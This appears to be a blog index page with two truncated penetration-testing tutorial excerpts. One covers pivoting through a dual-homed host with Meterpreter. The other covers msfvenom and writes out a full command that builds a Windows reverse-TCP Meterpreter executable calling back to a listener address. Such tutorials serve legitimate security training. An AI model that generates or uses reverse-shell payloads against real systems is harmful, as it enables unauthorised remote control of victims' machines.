Network Pivoting and Port Forwarding with Metasploit and Meterpreter

During penetration tests and red team operations, an initial compromised foothold often resides in a perimeter network (DMZ) or employee subnet. These dual-homed hosts can act as springboards (pivots) to reach isolated internal segments unreachable from your attack workstation. The Network Scenario Attacker Workstation: 10.0.0.5 Compromised Host (Dual-Homed Foothold): External NIC: 10.0.0.10 Internal Private Subnet NIC: 10.0.2.15 Internal Target Host (Isolated): 10.0.2.30 Step 1: Internal Subnet Discovery (arp_scanner) From your active Meterpreter session on the compromised host, discover live hosts on the internal 10.0.2.0/24 subnet using ARP requests: ...

January 8, 2015 · 2 min · 278 words · Ahmad Mahfouz

Generating Standalone Windows Executables with msfvenom

msfvenom is Metasploit’s command-line payload generation and encoding utility (combining the legacy msfpayload and msfencode tools). It outputs shellcode across hundreds of formats including C arrays, raw binaries, and standalone executables (PE, ELF, Mach-O). Generating a Standard Windows Reverse TCP Executable To generate an x86 staged Meterpreter payload packaged as a standalone 32-bit Windows .exe: msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.10 \ LPORT=4444 \ -a x86 --platform windows \ -f exe -o payload.exe Inspect the generated binary with file: ...

January 8, 2015 · 1 min · 191 words · Ahmad Mahfouz